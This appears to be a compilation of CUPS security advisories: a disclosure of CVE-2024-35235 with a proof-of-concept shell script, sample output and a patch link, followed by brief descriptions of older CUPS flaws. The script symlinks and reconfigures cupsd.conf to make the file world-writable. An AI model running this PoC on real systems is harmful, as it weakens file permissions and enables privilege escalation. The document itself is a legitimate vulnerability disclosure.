Hi all,

We thank all the researchers for the reports!

Have a nice day,

Zdenek -- Zdenek Dohnal Senior Software Engineer Red Hat, BRQ-TPBC

Hi all,

The commits fixing the issue:

Have a nice day!

Zdenek

-- Zdenek Dohnal Senior Software Engineer Red Hat, BRQ-TPBC

Hi all,

there is vulnerability CVE-2024-35235 in cups project:

Description

Summary Details

Severity: Moderate - CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N      PoC set -e exploit()

{

echo "Staging..."

mkdir -m 777 /tmp/stage

ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf

# emulate configuration access to cupsd.conf

echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf

echo

echo "Current permissions of cupsd.conf"

ls -l /etc/cups/cupsd.conf

tail -n1 /etc/cups/cupsd.conf || true

echo echo "Restarting cupsd"

sudo systemctl restart cups

echo

echo "New permissions of cupsd.conf"

ls -l /etc/cups/cupsd.conf

tail -n1 /etc/cups/cupsd.conf || true

}

cleanup()

{

sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf

sudo chmod 640 /etc/cups/cupsd.conf

rm -rf /tmp/stage

}

$@

Sample output can be seen below:

$ sh poc.sh exploit

Staging...

Listen /tmp/stage/cupsd.conf

Current permissions of cupsd.conf

-rw-r----- 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf

tail: cannot open '/etc/cups/cupsd.conf' for reading: Permission denied

Restarting cupsd

New permissions of cupsd.conf

-rwxrwxrwx 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf

Listen /tmp/stage/cupsd.conf

$ sh poc.sh cleanup

Impact

Patch:

https://github.com/OpenPrinting/cups/commit/a436956f3

For OpenPrinting CUPS community,

Zdenek Dohnal

CUPS 2.4.x release manager

-- Zdenek Dohnal Senior Software Engineer Red Hat, BRQ-TPBC

Last updated 25 August 2025

Cross-site scripting (XSS) vulnerability in the cgiputs function in cgi-bin/template.c in the template engine in CUPS before 2.0.3 allows remote attackers to inject arbitrary web script or HTML via the QUERY parameter to help/.

The following flaw was found in CUPS:

A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. This XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface.

Acknowledgements:

Red Hat would like to thank the CERT/CC for reporting this issue.

The addjob function in scheduler/ipp.c in cupsd in CUPS before 2.0.3 performs incorrect free operations for multiple-value job-originating-host-name attributes, which allows remote attackers to trigger data corruption for reference-counted strings via a crafted (1) IPPCREATEJOB or (2) IPPPRINTJOB request, as demonstrated by replacing the configuration file and consequently executing arbitrary code.

It was reported that ANSI escape sequences could be added to printer names in CUPS. Becaue CUPS has a browsing feature that, when enabled, allows remote hosts to announce shared printers, a malicious host or user could send a specially-crafted UDP packet to a CUPS server announcing an arbitrary printer name that includes ANSI escape sequences. Since the CUPS daemon does not remove these characters, a user on the targeted system could query the printer list (using 'lpstat -a', for example). If this were done in a terminal that supported the ANSI escape sequences (like a terminal with support for color), then code execution could be possible as the terminal would interpret the ANSI escape sequences contained in the printer name.

CUPS 1.3.x and earlier ships setuid binaries which use environment variables to set the directories in which they operate.

Description of problem: rpmbuild cannot apply cups-CVE-2008-3640.patch due to the patch corruption.

Version-Release number of selected component (if applicable): cups-1.1.17-13.3.54.src.rpm cups-1.1.17-13.3.55.src.rpm

How reproducible: always

Steps to Reproduce: 1. rpm -i cups-1.1.17-13.3.54.src.rpm 2. rpmbuild -bp /usr/src/redhat/SPEC/cups.spec Actual results: error: File /usr/src/redhat/SOURCES/cups-CVE-2008-3640.patch is smaller than 4 bytes

Expected results: Unpack the sources and apply the patch.

Additional info:

Multiple integer overflows in (1) filter/image-png.c and (2) filter/image-zoom.c in CUPS 1.3 allow attackers to cause a denial of service (crash) and trigger memory corruption, as demonstrated via a crafted PNG image.

Heap-based buffer overflow in the cgiCompileSearch function in CUPS 1.3.5, and other versions including the version bundled with Apple Mac OS X 10.5.2, when printer sharing is enabled, allows remote attackers to execute arbitrary code via crafted search expressions.

Double free vulnerability in the processbrowsedata function in CUPS 1.3.5 allows remote attackers to cause a denial of service (daemon crash) and possibly execute arbitrary code via crafted UDP Browse packets to the cupsd port (631/udp), related to an unspecified manipulation of a remote printer. NOTE: some of these details are obtained from third party information.

Off-by-one error in the ippReadIO function in cups/ipp.c in CUPS 1.3.3 allows remote attackers to cause a denial of service (crash) via a crafted (1) textWithLanguage or (2) nameWithLanguage Internet Printing Protocol (IPP) tag, leading to a stack-based buffer overflow.

Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.

Multiple stack-based buffer overflows in the phpcups PHP module for CUPS 1.1.23rc1 might allow context-dependent attackers to execute arbitrary code via vectors that result in long function parameters, as demonstrated by the cupsgetdestoptions function in phpcups.c.